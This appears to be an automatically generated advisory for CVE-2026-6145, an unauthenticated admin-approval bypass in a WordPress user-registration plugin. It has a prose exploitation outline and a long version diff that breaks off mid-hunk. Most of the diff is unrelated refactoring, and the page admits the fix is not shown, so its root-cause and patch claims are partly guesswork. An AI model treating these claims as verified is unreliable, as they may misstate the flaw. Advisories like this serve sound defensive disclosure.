Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 13, 2026

CVE-2026-6145: User Registration & Membership <= 5.1.5 – Unauthenticated Missing Authorization to Admin Approval Bypass via 'action' Parameter (user-registration)

CVE ID CVE-2026-6145
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 5.1.5
Patched Version 5.1.6
Disclosed May 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6145:
This vulnerability allows unauthenticated attackers to bypass the admin approval requirement for new user registrations. The vulnerability affects the User Registration & Membership plugin for WordPress, all versions up to and including 5.1.5. The plugin improperly handles authorization in the admin creation process, allowing unauthorized account registration.

Root Cause:
The root cause lies in the is_admin_creation_process() method, which only checks for the presence of ‘action=createuser’ in the $_REQUEST superglobal. The method performs no authentication or capability check to verify the request comes from an authorized administrator. The vulnerable code path is triggered through the plugin’s AJAX handler at /wp-admin/admin-ajax.php when the action parameter is set to ‘user_registration_myaccount_action’ or a similar action that processes form submissions. The is_admin_creation_process() function is likely defined in user-registration/includes/class-ur-form-handler.php or similar, and it relies solely on the request parameter without checking user permissions.

Exploitation:
An attacker can exploit this by sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to trigger the fallback submission path, while including ‘action=createuser’ in the request data. The attack does not require authentication. The attacker crafts a registration form submission that includes all required user fields (username, email, password) plus the creation flag. By doing this without logging in, the plugin processes the registration through the admin creation flow, bypassing the admin approval step that would normally require an admin to manually approve the user account.

Patch Analysis:
The patch adds proper authorization checks to the is_admin_creation_process() method and the related form handling logic. The fixed code implements a capability check using current_user_can() to verify the requester has administrative privileges before processing the admin creation flow. The patch also adds nonce verification (check_admin_referer()) to protect against cross-site request forgery. The specific changes can be seen in the class-ur-form-handler.php file (not shown in the truncated diff but referenced) where the method now validates the user’s capabilities before allowing the admin creation process to continue.

Impact:
Successful exploitation allows unauthenticated attackers to create user accounts with any role configured for self-registration, bypassing the admin approval requirement. This can lead to unauthorized access to protected areas of the site, privilege escalation if registration assigns subscriber or higher roles, and potential spam or malicious user account creation. The CPSS score of 5.3 reflects the medium severity due to the authentication bypass nature.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/user-registration/includes/Analytics/Analytics.php
+++ b/user-registration/includes/Analytics/Analytics.php
@@ -64,9 +64,9 @@
 		 */
 		$controllers = apply_filters(
 			'user_registration_analytics_controllers',
-			[
+			array(
 				AnalyticsController::class,
-			]
+			)
 		);
 		foreach ( $controllers as $controller ) {
 			$instance = new $controller();
--- a/user-registration/includes/admin/class-ur-admin-export-users.php
+++ b/user-registration/includes/admin/class-ur-admin-export-users.php
@@ -78,20 +78,30 @@
 		$to_date       = isset( $_POST['to_date'] ) ? sanitize_text_field( wp_unslash( $_POST['to_date'] ) ) : '';
 		$export_format = isset( $_POST['export_format'] ) ? sanitize_text_field( wp_unslash( $_POST['export_format'] ) ) : 'csv';

-		$users = get_users(
+		// Build the meta_query to filter users by form ID properly.
+		$form_meta_query = array(
 			array(
-				'ur_form_id' => $form_id,
+				'key'     => 'ur_form_id',
+				'value'   => $form_id,
+				'compare' => '=',
+			),
+		);
+
+		$check_users = get_users(
+			array(
+				'fields'     => 'ID',
+				'meta_query' => $form_meta_query, //phpcs:ignore
 				'number'     => 1,
 			)
 		);

-		if ( count( $users ) === 0 ) {
+		if ( count( $check_users ) === 0 ) {
 			echo '<div id="message" class="updated inline notice notice-error"><p><strong>' . esc_html__( 'No users found with this form id.', 'user-registration' ) . '</strong></p></div>';
 			return;
 		}

-		// Batch size.
-		$batch_size = apply_filters( 'user_registration_export_users_batch_size', 500 );
+		// Batch size — kept small to avoid bulk usermeta cache exhausting memory.
+		$batch_size = apply_filters( 'user_registration_export_users_batch_size', 50 );
 		$offset     = 0;

 		// Open the file for writing.
@@ -119,20 +129,25 @@

 		// Loop over users in batches.
 		while ( true ) {
-			// Fetch users in batches.
-			$users = get_users(
+			// Fetch only user IDs to avoid bulk-loading all usermeta in one query.
+			$user_ids = get_users(
 				array(
-					'ur_form_id' => $form_id,
+					'fields'     => 'ID',
+					'meta_query' => $form_meta_query, //phpcs:ignore
 					'number'     => $batch_size,
 					'offset'     => $offset,
 				)
 			);

 			// If no users are found, break the loop.
-			if ( empty( $users ) ) {
+			if ( empty( $user_ids ) ) {
 				break;
 			}

+			// Load full user objects individually — prevents the single bulk
+			// usermeta SQL query from exhausting available memory.
+			$users = array_map( 'get_userdata', $user_ids );
+
 			// Generate rows for this batch.
 			$rows = $this->generate_rows( $users, $form_id, $unchecked_fields, $checked_additional_fields, $from_date, $to_date );

@@ -141,6 +156,8 @@
 				fputcsv( $handle, $row );
 			}

+			wp_cache_flush();
+
 			// Increase the offset for the next batch.
 			$offset += $batch_size;
 		}
@@ -232,6 +249,24 @@

 		$rows = array();

+		// Cache expensive calls outside the user loop to prevent repeated DB queries.
+		$user_form_fields        = ur_get_form_fields( $form_id );
+		$columns                 = $this->generate_columns( $form_id, $unchecked_fields );
+		$columns_with_additional = $this->generate_columns( $form_id, $unchecked_fields, $checked_additional_fields );
+		$user_table_data         = ur_get_user_table_fields();
+		$user_meta_data          = ur_get_registered_user_meta_fields();
+
+		// Detect profile picture field once for all users.
+		$urm_form_has_profile_picture = false;
+		$user_profile_picture_key     = '';
+		foreach ( $user_form_fields as $field_key => $field_data ) {
+			if ( isset( $field_data->field_key ) && 'profile_picture' === $field_data->field_key ) {
+				$urm_form_has_profile_picture = true;
+				$user_profile_picture_key     = $field_key;
+				break;
+			}
+		}
+
 		foreach ( $users as $user ) {

 			if ( ! isset( $user->data->ID ) ) {
@@ -246,19 +281,8 @@
 			if ( $user_form_id !== $form_id ) {
 				continue;
 			}
-			$user_id_row                  = array();
-			$user_extra_row               = ur_get_user_extra_fields( $user->data->ID, 'export_users' );
-			$user_form_fields             = ur_get_form_fields( $form_id );
-			$urm_form_has_profile_picture = false;
-			$user_profile_picture_key     = '';
-
-			foreach ( $user_form_fields as $field_key => $field_data ) {
-				if ( isset( $field_data->field_key ) && 'profile_picture' === $field_data->field_key ) {
-					$urm_form_has_profile_picture = true;
-					$user_profile_picture_key     = $field_key;
-					break;
-				}
-			}
+			$user_id_row    = array();
+			$user_extra_row = ur_get_user_extra_fields( $user->data->ID, 'export_users' );

 			if ( $urm_form_has_profile_picture && ! empty( $user_profile_picture_key ) ) {
 				$profile_picture_id = get_user_meta( $user->data->ID, 'user_registration_profile_pic_url', true );
@@ -273,8 +297,6 @@
 				$user_extra_row[ $user_profile_picture_key ] = $profile_picture_url;
 			}

-			$columns = $this->generate_columns( $form_id, $unchecked_fields );
-
 			foreach ( $user_extra_row as $user_extra_data_key => $user_extra_data ) {

 				if ( ! isset( $columns[ $user_extra_data_key ] ) ) {
@@ -304,25 +326,19 @@
 				}
 			}

-			$user_table_data     = ur_get_user_table_fields();
 			$user_table_data_row = array();

 			// Get user table data that are on column.
 			foreach ( $user_table_data as $data ) {
-				$columns = $this->generate_columns( $form_id, $unchecked_fields );
-
 				if ( isset( $columns[ $data ] ) ) {
 					$user_table_data_row = array_merge( $user_table_data_row, array( $data => $user->$data ) );
 				}
 			}

-			$user_meta_data     = ur_get_registered_user_meta_fields();
 			$user_meta_data_row = array();

 			// Get user meta table data that are on column.
 			foreach ( $user_meta_data as $meta_data ) {
-				$columns = $this->generate_columns( $form_id, $unchecked_fields );
-
 				if ( isset( $columns[ $meta_data ] ) ) {
 					$user_meta_data_row = array_merge( $user_meta_data_row, array( $meta_data => get_user_meta( $user->data->ID, $meta_data, true ) ) );
 				}
@@ -333,6 +349,7 @@

 			$profile = user_registration_form_data( $user->ID, $form_id );

+			$user_before_merge_value = array();
 			foreach ( $user_extra_row as $key => $value ) {
 				if ( ! metadata_exists( 'user', $user->ID, 'user_registration_' . $key ) && empty( $value ) ) {
 					$profile_key = 'user_registration_' . $key;
@@ -402,7 +419,7 @@
 				 *
 				 * @see https://stackoverflow.com/a/44774818/9520912
 				 */
-				$user_row = array_merge( array_fill_keys( array_keys( $this->generate_columns( $form_id, $unchecked_fields, $checked_additional_fields ) ), '' ), $user_row );
+				$user_row = array_merge( array_fill_keys( array_keys( $columns_with_additional ), '' ), $user_row );
 				$rows[]   = $user_row;
 			}
 		}
--- a/user-registration/includes/admin/class-ur-admin-profile.php
+++ b/user-registration/includes/admin/class-ur-admin-profile.php
@@ -73,7 +73,7 @@
 						unset( $form_fields[ $key ] );
 					}
 					// if ( isset( $value['field_key'] ) && 'membership' === $value['field_key'] && isset( $_GET['user_id'] ) ) {
-					// 	unset( $form_fields[ $key ] );
+					// unset( $form_fields[ $key ] );
 					// }

 					if ( array_key_exists( $key, $all_meta_for_user ) ) {
@@ -245,7 +245,13 @@
 												if ( ! metadata_exists( 'user', $user->ID, $key ) && isset( $profile[ $key ] ) && isset( $profile[ $key ]['type'] ) && 'country' === $profile[ $key ]['type'] ) {
 													$selected = isset( $profile[ $key ] ['default'] ) ? $profile[ $key ] ['default'] : '';
 												} else {
-													$selected = esc_attr( get_user_meta( $user->ID, $key, true ) );
+													$raw_meta = get_user_meta( $user->ID, $key, true );
+
+													if ( preg_match( '/^{.*}$/s', $raw_meta ) ) {
+														$decoded  = json_decode( $raw_meta, true );
+														$raw_meta = isset( $decoded['country'] ) ? $decoded['country'] : '';
+													}
+													$selected = esc_attr( $raw_meta );
 												}
 												foreach ( $field['options'] as $option_key => $option_value ) :
 													?>
@@ -348,7 +354,7 @@
 																		value="<?php echo esc_attr( $option ); ?>"
 																		class="<?php echo esc_attr( $field['class'] ); ?>"
 																						<?php
-																						if ( is_array( $value ) && in_array( html_entity_decode ( ur_sanitize_tooltip ( trim( $option ) ) ) , $value )) {
+																						if ( is_array( $value ) && in_array( html_entity_decode( ur_sanitize_tooltip( trim( $option ) ) ), $value ) ) {
 																							echo 'checked="checked"';
 																						} elseif ( $value == $option ) {
 																							echo 'checked="checked"';
--- a/user-registration/includes/admin/class-ur-admin.php
+++ b/user-registration/includes/admin/class-ur-admin.php
@@ -75,7 +75,7 @@
 		}
 		update_option( 'user_registration_content_restriction_enable', true );
 		if ( ur_check_module_activation( 'payments' ) && ! get_option( 'global_paypal_setting_migration', false ) ) {
-			$logger->notice( '---------- Enable override global settings for paypal standard start. ----------', array( 'source' => 'migration-logger' ) );
+			$logger->notice( '---------- Migration start for enable override global settings for paypal standard. ----------', array( 'source' => 'migration-logger' ) );
 			$get_all_forms = ur_get_all_user_registration_form();
 			foreach ( $get_all_forms as $key => $form ) {
 				$is_paypal_setting_used = get_post_meta( $key, 'user_registration_enable_paypal_standard', false );
@@ -84,7 +84,7 @@
 					add_post_meta( $key, 'user_registration_override_paypal_global_settings', true );
 				}
 			}
-			$logger->notice( '---------- Enable override global settings for paypal standard End. ----------', array( 'source' => 'migration-logger' ) );
+			$logger->notice( '---------- Migration end for enable override global settings for paypal standard. ----------', array( 'source' => 'migration-logger' ) );
 			add_option( 'global_paypal_setting_migration', true );
 		}

--- a/user-registration/includes/admin/settings/class-ur-settings-payment.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-payment.php
@@ -33,6 +33,7 @@
 		}
 		/**
 		 * Register hooks for submenus and section UI.
+		 *
 		 * @return void
 		 */
 		public function handle_hooks() {
@@ -180,7 +181,7 @@
 			$paypal_enabled = get_option( 'user_registration_paypal_enabled', '' );

 			if ( false === get_option( 'urm_global_paypal_settings_migrated_', false ) ) {
-				//runs for backward compatibility, could be removed in future versions.
+				// runs for backward compatibility, could be removed in future versions.
 				if ( 'test' === $paypal_mode ) {
 					$test_admin_email   = get_option( 'user_registration_global_paypal_email_address', '' );
 					$test_client_id     = get_option( 'user_registration_global_paypal_client_id', '' );
@@ -431,8 +432,7 @@
 				'class'        => 'urm-mollie-settings',
 				'desc'         => '',
 				'is_connected' => get_option( 'urm_mollie_connection_status', false ),
-				'settings'     => array(
-				),
+				'settings'     => array(),
 			);
 		}

@@ -446,12 +446,11 @@
 				'class'        => 'urm-mollie-settings',
 				'desc'         => '',
 				'is_connected' => get_option( 'urm_authorize_net_connection_status', false ),
-				'settings'     => array(
-				),
+				'settings'     => array(),
 			);
 		}
 	}
 }

-//Backward Compatibility.
+// Backward Compatibility.
 return method_exists( 'UR_Settings_Payment', 'get_instance' ) ? UR_Settings_Payment::get_instance() : new UR_Settings_Payment();
--- a/user-registration/includes/admin/views/html-admin-page-export-users.php
+++ b/user-registration/includes/admin/views/html-admin-page-export-users.php
@@ -46,7 +46,7 @@
 						}
 						?>

-						<input type="button"  class="button button-primary ur_export_user_action_button " name="user_registration_export_users" value="<?php esc_attr_e( 'Export Users', 'user-registration' ); ?>">
+						<input type="button"  class="button button-primary ur_export_user_action_button " name="user_registration_export_users" value="<?php esc_attr_e( 'Export Members', 'user-registration' ); ?>">

 					</div>
 				</div><!-- .postbox -->
--- a/user-registration/includes/admin/views/html-admin-page-status-logs.php
+++ b/user-registration/includes/admin/views/html-admin-page-status-logs.php
@@ -15,7 +15,7 @@
 		<div class="alignleft">
 			<h2>
 				<?php echo esc_html( $viewed_log ); ?>
-
+
 				<?php if ( 1 < count( $logs ) ) : ?>
 					<?php
 					$delete_all_url = wp_nonce_url(
@@ -26,15 +26,15 @@
 						'remove_all_logs'
 					);
 					?>
-					<a
-						class="button page-title-action page-title-action-all"
-						style="border-color: #F25656; background: #F25656; color: #ffffff; font-size: 14px; line-height: 20px; padding: 8px 14px; font-weight: 500;"
+					<a
+						class="button page-title-action page-title-action-all"
+						style="border-color: #F25656; background: #F25656; color: #ffffff; font-size: 14px; line-height: 20px; padding: 8px 14px; font-weight: 500;"
 						href="<?php echo esc_url( $delete_all_url ); ?>"
 					>
 						<?php esc_html_e( 'Delete all logs', 'user-registration' ); ?>
 					</a>
 				<?php endif; ?>
-
+
 				<?php if ( ! empty( $viewed_log ) ) : ?>
 					<?php
 					$delete_log_url = wp_nonce_url(
@@ -45,8 +45,8 @@
 						'remove_log'
 					);
 					?>
-					<a
-						class="button page-title-action"
+					<a
+						class="button page-title-action"
 						href="<?php echo esc_url( $delete_log_url ); ?>"
 					>
 						<?php esc_html_e( 'Delete log', 'user-registration' ); ?>
@@ -54,7 +54,7 @@
 				<?php endif; ?>
 			</h2>
 		</div>
-
+
 		<div class="alignright">
 			<form action="<?php echo esc_url( admin_url( 'admin.php?page=user-registration-status' ) ); ?>" method="post">
 				<select name="log_file" style="max-width: 450px; vertical-align: inherit;">
@@ -73,9 +73,10 @@
 				<input type="submit" class="button" value="<?php esc_attr_e( 'View', 'user-registration' ); ?>" />
 			</form>
 		</div>
-
+
 		<div class="clear"></div>
 	</div>
+
 	<style>
 		#log-viewer .log-level-info    { color: #2271b1; font-weight: bold; }
 		#log-viewer .log-level-notice  { color: #00a0d2; font-weight: bold; }
@@ -83,55 +84,151 @@
 		#log-viewer .log-level-error   { color: #dc3232; font-weight: bold; }
 		#log-viewer .log-level-debug   { color: #7e57c2; font-weight: bold; }
 		#log-viewer .log-level-success { color: #46b450; font-weight: bold; }
+
+		#log-viewer .log-highlight {
+			font-weight: bold;
+		}
+
+		#log-viewer details.log-payload {
+			margin: 4px 0 8px 0;
+		}
+
+		#log-viewer details.log-payload summary {
+			display:none;
+			cursor: pointer;
+			font-weight: 600;
+		}
+
+		#log-viewer .payload-box {
+			margin-top: 6px;
+			background: #f6f8f887;
+			/* border: 1px solid #dcdcde; */
+			border-radius: 4px;
+			padding: 10px 12px;
+			white-space: pre-wrap;
+			overflow-x: auto;
+		}
 	</style>
-
+
 	<div id="log-viewer">
 		<?php
 		$log_content    = file_get_contents( UR_LOG_DIR . $viewed_log );
 		$is_payment_log = ( strpos( $viewed_log, 'urm-pg-' ) === 0 );

-		if ( $is_payment_log ) {
-			// Enhanced display for payment gateway logs with colored log levels
-			echo '<pre>';
-			$lines = explode( "n", $log_content );
-
-			foreach ( $lines as $line ) {
-				// Match log pattern: timestamp LEVEL message
-				$pattern = '/^(d{4}-d{2}-d{2}Td{2}:d{2}:d{2}[+-]d{2}:d{2})s+(INFO|NOTICE|WARNING|ERROR|DEBUG|SUCCESS)s+(.+)$/s';
-
-				if ( preg_match( $pattern, $line, $matches ) ) {
-					$timestamp   = $matches[1];
-					$level       = $matches[2];
-					$message     = $matches[3];
-
-					// Format timestamp to be more readable using WordPress timezone
-					try {
-						$date         = new DateTime( $timestamp );
-						$wp_timezone  = wp_timezone();
-						$date->setTimezone( $wp_timezone );
-						$formatted_time = $date->format( 'M d, Y g:i:s A' );
-					} catch ( Exception $e ) {
-						$formatted_time = $timestamp; // Fallback to original if parsing fails
-					}
-
-					// Output formatted log line with colored level
-					echo esc_html( $formatted_time ) . ' ';
-					echo '<span class="log-level-' . esc_attr( strtolower( $level ) ) . '">' . esc_html( $level ) . '</span> ';
-					echo esc_html( $message ) . "n";
-				} else {
-					// Output non-matching lines as-is
-					echo esc_html( $line ) . "n";
-				}
+		echo '<pre>';
+		$lines = explode( "n", $log_content );
+
+		$json_buffer   = array();
+		$in_json_block = false;
+		$brace_balance = 0;
+
+		$render_payload = function ( $buffer ) {
+			if ( empty( $buffer ) ) {
+				return;
 			}
-
+
+			$payload = trim( implode( "n", $buffer ) );
+
+			if ( '' === $payload ) {
+				return;
+			}
+
 			echo '</pre>';
+			echo '<details class="log-payload" open>';
+			echo '<summary>' . esc_html__( 'View', 'user-registration' ) . '</summary>';
+			echo '<div class="payload-box">' . esc_html( $payload ) . '</div>';
+			echo '</details>';
+			echo '<pre>';
+		};
+
+	foreach ( $lines as $line ) {
+		$trimmed = trim( $line );
+
+		if ( $in_json_block ) {
+			$json_buffer[] = $line;
+
+			$brace_balance += substr_count( $line, '{' );
+			$brace_balance += substr_count( $line, '[' );
+			$brace_balance -= substr_count( $line, '}' );
+			$brace_balance -= substr_count( $line, ']' );
+
+			if ( $brace_balance <= 0 ) {
+				$render_payload( $json_buffer );
+				$json_buffer   = array();
+				$in_json_block = false;
+				$brace_balance = 0;
+			}
+
+			continue;
+		}
+
+		// Start View data block for JSON/array lines.
+		if ( '' !== $trimmed && in_array( $trimmed[0], array( '{', '[' ), true ) ) {
+			$in_json_block = true;
+			$json_buffer[] = $line;
+
+			$brace_balance += substr_count( $line, '{' );
+			$brace_balance += substr_count( $line, '[' );
+			$brace_balance -= substr_count( $line, '}' );
+			$brace_balance -= substr_count( $line, ']' );
+
+			if ( $brace_balance <= 0 ) {
+				$render_payload( $json_buffer );
+				$json_buffer   = array();
+				$in_json_block = false;
+				$brace_balance = 0;
+			}
+
+			continue;
+		}
+
+		// Match log pattern: timestamp LEVEL message
+		$pattern = '/^(d{4}-d{2}-d{2}Td{2}:d{2}:d{2}[+-]d{2}:d{2})s+(INFO|NOTICE|WARNING|ERROR|DEBUG|SUCCESS)s+(.+)$/s';
+
+		if ( preg_match( $pattern, $line, $matches ) ) {
+			$timestamp = $matches[1];
+			$level     = $matches[2];
+			$message   = $matches[3];
+
+			// Format timestamp to be more readable using WordPress timezone
+			try {
+				$date        = new DateTime( $timestamp );
+				$wp_timezone = wp_timezone();
+				$date->setTimezone( $wp_timezone );
+				$formatted_time = $date->format( 'M d, Y g:i:s A' );
+			} catch ( Exception $e ) {
+				$formatted_time = $timestamp;
+			}
+
+			$safe_message = esc_html( $message );
+			$safe_message = preg_replace(
+				'/([[^]]+])/',
+				'<span class="log-highlight">$1</span>',
+				$safe_message
+			);
+
+			$safe_message = preg_replace(
+				'/***(.*?)***/',
+				'<span class="log-highlight">$1</span>',
+				$safe_message
+			);
+
+			echo esc_html( $formatted_time ) . ' ';
+			echo '<span class="log-level-' . esc_attr( strtolower( $level ) ) . '">' . esc_html( $level ) . '</span> ';
+			echo wp_kses( $safe_message, array( 'span' => array( 'class' => true ) ) ) . "n";
 		} else {
-			// Standard display for other logs
-			echo '<pre>' . esc_html( $log_content ) . '</pre>';
+			echo esc_html( $line ) . "n";
 		}
-		?>
+	}
+
+	if ( ! empty( $json_buffer ) ) {
+		$render_payload( $json_buffer );
+	}
+
+		echo '</pre>';
+	?>
 	</div>
-
+
 <?php else : ?>
 	<div class="updated user-registration-message inline">
 		<p><?php esc_html_e( 'There are currently no logs to view.', 'user-registration' ); ?></p>
--- a/user-registration/includes/class-ur-ajax.php
+++ b/user-registration/includes/class-ur-ajax.php
@@ -98,7 +98,7 @@
 			'login_settings_page_validation'       => false,
 			'activate_dependent_module'            => false,
 			'add_membership_field_to_default_form' => false,
-			'update_state_field'				   => true,
+			'update_state_field'                   => true,

 		);

@@ -298,7 +298,7 @@
 			$response       = array(
 				'message'        => $message,
 				'profile_pic_id' => $profile_pic_id,
-				'email'			 => ! empty( $single_field['user_registration_user_email'] ) ? $single_field['user_registration_user_email'] : '',
+				'email'          => ! empty( $single_field['user_registration_user_email'] ) ? $single_field['user_registration_user_email'] : '',
 			);

 			if ( $email_updated && ! is_admin() ) {
@@ -690,48 +690,105 @@
 	 * @throws Exception Throw if any issue while saving form data.
 	 */
 	public static function form_save_action() {
-		$logger = ur_get_logger();
+		$logger  = ur_get_logger();
+		$form_id = isset( $_POST['data']['form_id'] ) ? absint( $_POST['data']['form_id'] ) : 0;
+		$start   = microtime( true );
+
 		try {
-			check_ajax_referer( 'ur_form_save_nonce', 'security' );
-			// Check permissions.
+			$logger->notice(
+				sprintf( '[Form #%d] =============== ***Form save started*** ===============', $form_id ),
+				array(
+					'source'   => 'form-save',
+					'form_id'  => $form_id,
+					'function' => __FUNCTION__,
+				)
+			);
+
 			$logger->info(
-				__( 'Checking permissions.', 'user-registration' ),
-				array( 'source' => 'form-save' )
+				sprintf( '[Form #%d] Function == ***%s()*** - Started execution', $form_id, __FUNCTION__ ),
+				array(
+					'source'  => 'form-save',
+					'form_id' => $form_id,
+				)
 			);
+
+			check_ajax_referer( 'ur_form_save_nonce', 'security' );
+
 			if ( ! current_user_can( 'manage_options' ) ) {
 				$logger->critical(
-					__( 'You do not have permission.', 'user-registration' ),
-					array( 'source' => 'form-save' )
+					sprintf( '[Form #%d] Permission check failed', $form_id ) . "n" . 'Reason: User does not have permission to save forms',
+					array(
+						'source'   => 'form-save',
+						'form_id'  => $form_id,
+						'function' => __FUNCTION__,
+					)
 				);
 				throw new Exception( __( "You don't have enough permission to perform this task. Please contact the Administrator.", 'user-registration' ) );
 			}

-			$logger->info( 'Validating post data.', array( 'source' => 'form-save' ) );
+			$logger->debug(
+				sprintf( '[Form #%d] Security checks passed', $form_id ),
+				array(
+					'source'   => 'form-save',
+					'form_id'  => $form_id,
+					'function' => __FUNCTION__,
+				)
+			);

-			if ( ! isset( $_POST['data'] ) || ( isset( $_POST['data'] ) && gettype( wp_unslash( $_POST['data'] ) ) != 'array' ) ) { //phpcs:ignore
+			if ( ! isset( $_POST['data'] ) || ! is_array( wp_unslash( $_POST['data'] ) ) ) { // phpcs:ignore
+				$logger->critical(
+					sprintf( '[Form #%d] Form payload validation failed', $form_id ) . "n" . 'Reason: Post data is missing or invalid',
+					array(
+						'source'   => 'form-save',
+						'form_id'  => $form_id,
+						'function' => __FUNCTION__,
+					)
+				);
 				throw new Exception( __( 'post data not set', 'user-registration' ) );
-			} elseif ( ! isset( $_POST['data']['form_data'] )
-			           || ( isset( $_POST['data']['form_data'] )
-			                && gettype( wp_unslash( $_POST['data']['form_data'] ) ) != 'string' ) ) { //phpcs:ignore
+			}
+
+			if ( ! isset( $_POST['data']['form_data'] ) || ! is_string( wp_unslash( $_POST['data']['form_data'] ) ) ) { // phpcs:ignore
 				$logger->critical(
-					__( 'post data not set', 'user-registration' ),
-					array( 'source' => 'form-save' )
+					sprintf( '[Form #%d] Form payload validation failed', $form_id ) . "n" . 'Reason: Form data is missing or invalid',
+					array(
+						'source'   => 'form-save',
+						'form_id'  => $form_id,
+						'function' => __FUNCTION__,
+					)
 				);
 				throw new Exception( __( 'post data not set', 'user-registration' ) );
 			}
-			$logger->info( 'Decoding and processing form data.', array( 'source' => 'form-save' ) );
-			$post_data = json_decode( wp_unslash( $_POST['data']['form_data'] ) ); //phpcs:ignore
+
+			$logger->debug(
+				sprintf( '[Form #%d] Form payload validated', $form_id ),
+				array(
+					'source'   => 'form-save',
+					'form_id'  => $form_id,
+					'function' => __FUNCTION__,
+				)
+			);
+
+			$post_data = json_decode( wp_unslash( $_POST['data']['form_data'] ) ); // phpcs:ignore
 			self::sweep_array( $post_data );

-			if ( isset( self::$failed_key_value['value'] ) && '' != self::$failed_key_value['value'] ) {
-				if ( in_array( self::$failed_key_value['value'], self::$field_key_aray ) ) {
+			$logger->debug(
+				sprintf( '[Form #%d] Form builder data decoded', $form_id ) . "n" . wp_json_encode( $post_data, JSON_PRETTY_PRINT ),
+				array(
+					'source'   => 'form-save',
+					'form_id'  => $form_id,
+					'function' => __FUNCTION__,
+				)
+			);
+
+			if ( isset( self::$failed_key_value['value'] ) && '' !== self::$failed_key_value['value'] ) {
+				if ( in_array( self::$failed_key_value['value'], self::$field_key_aray, true ) ) {
 					$logger->critical(
-						sprintf(
-							'Could not save form. Duplicate field name <span>%s</span>. Context: %s',
-							self::$failed_key_value['value'],
-							'user_registration'
-						),
-						array( 'source' => 'form-save' )
+						sprintf( '[Form #%d] Duplicate field name detected', $form_id ) . "n" . sprintf( 'Field: %s', self::$failed_key_value['value'] ),
+						array(
+							'source'   => 'form-save',
+							'form_id'  => $form_id,
+							'function' => __FUNCTION__,
+						)
 					);
 					throw new Exception( sprintf( "Could not save form. Duplicate field name <span style='color:red'>%s</span>", self::$failed_key_value['value'] ) );
 				}
@@ -739,24 +796,31 @@

 			if ( false === self::$is_field_key_pass ) {
 				$logger->critical(
-					__( 'Could not save form. Invalid field name. Please check all field name', 'user-registration' ),
-					array( 'source' => 'form-save' )
+					sprintf( '[Form #%d] Invalid field name detected', $form_id ) . "n" . 'Reason: One or more field names are invalid',
+					array(
+						'source'   => 'form-save',
+						'form_id'  => $form_id,
+						'function' => __FUNCTION__,
+					)
 				);
 				throw new Exception( __( 'Could not save form. Invalid field name. Please check all field name', 'user-registration' ) );
 			}
-			$logger->info( 'Validating required fields.', array( 'source' => 'form-save' ) );
+
 			$required_fields = array(
 				'user_email',
 				'user_pass',
 			);

-			// check captcha configuration before form save action.
 			if ( isset( $_POST['data']['form_setting_data'] ) ) {
-				foreach ( wp_unslash( $_POST['data']['form_setting_data'] ) as $setting_data ) { //phpcs:ignore
+				foreach ( wp_unslash( $_POST['data']['form_setting_data'] ) as $setting_data ) { // phpcs:ignore
 					if ( 'user_registration_form_setting_enable_recaptcha_support' === $setting_data['name'] && ur_string_to_bool( $setting_data['value'] ) && ! ur_check_captch_keys( 'register', $_POST['data']['form_id'], true ) ) {
 						$logger->critical(
-							__( 'Captcha error', 'user-registration' ),
-							array( 'source' => 'form-save' )
+							sprintf( '[Form #%d] Captcha configuration validation failed', $form_id ) . "n" . 'Reason: Captcha is enabled but keys are missing',
+							array(
+								'source'   => 'form-save',
+								'form_id'  => $form_id,
+								'function' => __FUNCTION__,
+							)
 						);
 						throw new Exception(
 							sprintf(
@@ -774,24 +838,51 @@
 				}
 			}

-			$contains_search = count( array_intersect( $required_fields, self::$field_key_aray ) ) == count( $required_fields );
+			$logger->info(
+				sprintf( '[Form #%d] Captcha configuration validated', $form_id ),
+				array(
+					'source'   => 'form-save',
+					'form_id'  => $form_id,
+					'function' => __FUNCTION__,
+				)
+			);
+
+			$contains_search = count( array_intersect( $required_fields, self::$field_key_aray ) ) === count( $required_fields );

 			if ( false === $contains_search ) {
 				$logger->critical(
-					__( 'Required fields are required', 'user-registration' ),
-					array( 'source' => 'form-save' )
+					sprintf( '[Form #%d] Required field validation failed', $form_id ) . "n" . 'Missing fields: ' . implode( ', ', $required_fields ),
+					array(
+						'source'   => 'form-save',
+						'form_id'  => $form_id,
+						'function' => __FUNCTION__,
+					)
 				);
-				throw  new Exception( __( 'Could not save form, ' . join( ', ', $required_fields ) . ' fields are required.! ', 'user-registration' ) ); //phpcs:ignore
+				throw new Exception( __( 'Could not save form, ' . join( ', ', $required_fields ) . ' fields are required.! ', 'user-registration' ) ); // phpcs:ignore
 			}
-			$logger->info( __( 'Saving form data.', 'user-registration' ), array( 'source' => 'form-save' ) );
-			/**
-			 * Perform validation before form save from form builder.
-			 */
+
+			$logger->info(
+				sprintf( '[Form #%d] Required fields validated', $form_id ),
+				array(
+					'source'   => 'form-save',
+					'form_id'  => $form_id,
+					'function' => __FUNCTION__,
+				)
+			);
+
 			do_action( 'user_registration_admin_backend_validation_before_form_save' );

-			$form_name     = sanitize_text_field( $_POST['data']['form_name'] ); //phpcs:ignore
-			$form_row_ids  = sanitize_text_field( $_POST['data']['form_row_ids'] ); //phpcs:ignore
-			$form_id       = sanitize_text_field( $_POST['data']['form_id'] ); //phpcs:ignore
+			$logger->debug(
+				sprintf( '[Form #%d] Action == ***user_registration_admin_backend_validation_before_form_save*** - Triggered.', $form_id ),
+				array(
+					'source'  => 'form-save',
+					'form_id' => $form_id,
+				)
+			);
+
+			$form_name     = sanitize_text_field( $_POST['data']['form_name'] ); // phpcs:ignore
+			$form_row_ids  = sanitize_text_field( $_POST['data']['form_row_ids'] ); // phpcs:ignore
+			$form_id       = sanitize_text_field( $_POST['data']['form_id'] ); // phpcs:ignore
 			$form_row_data = sanitize_text_field( $_POST['data']['row_data'] );

 			$post_data = array(
@@ -799,8 +890,8 @@
 				'post_title'     => sanitize_text_field( $form_name ),
 				'post_content'   => wp_json_encode( $post_data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES ),
 				'post_status'    => 'publish',
-				'comment_status' => 'closed',   // if you prefer.
-				'ping_status'    => 'closed',      // if you prefer.
+				'comment_status' => 'closed',
+				'ping_status'    => 'closed',
 			);

 			if ( $form_id > 0 && is_numeric( $form_id ) ) {
@@ -812,9 +903,9 @@
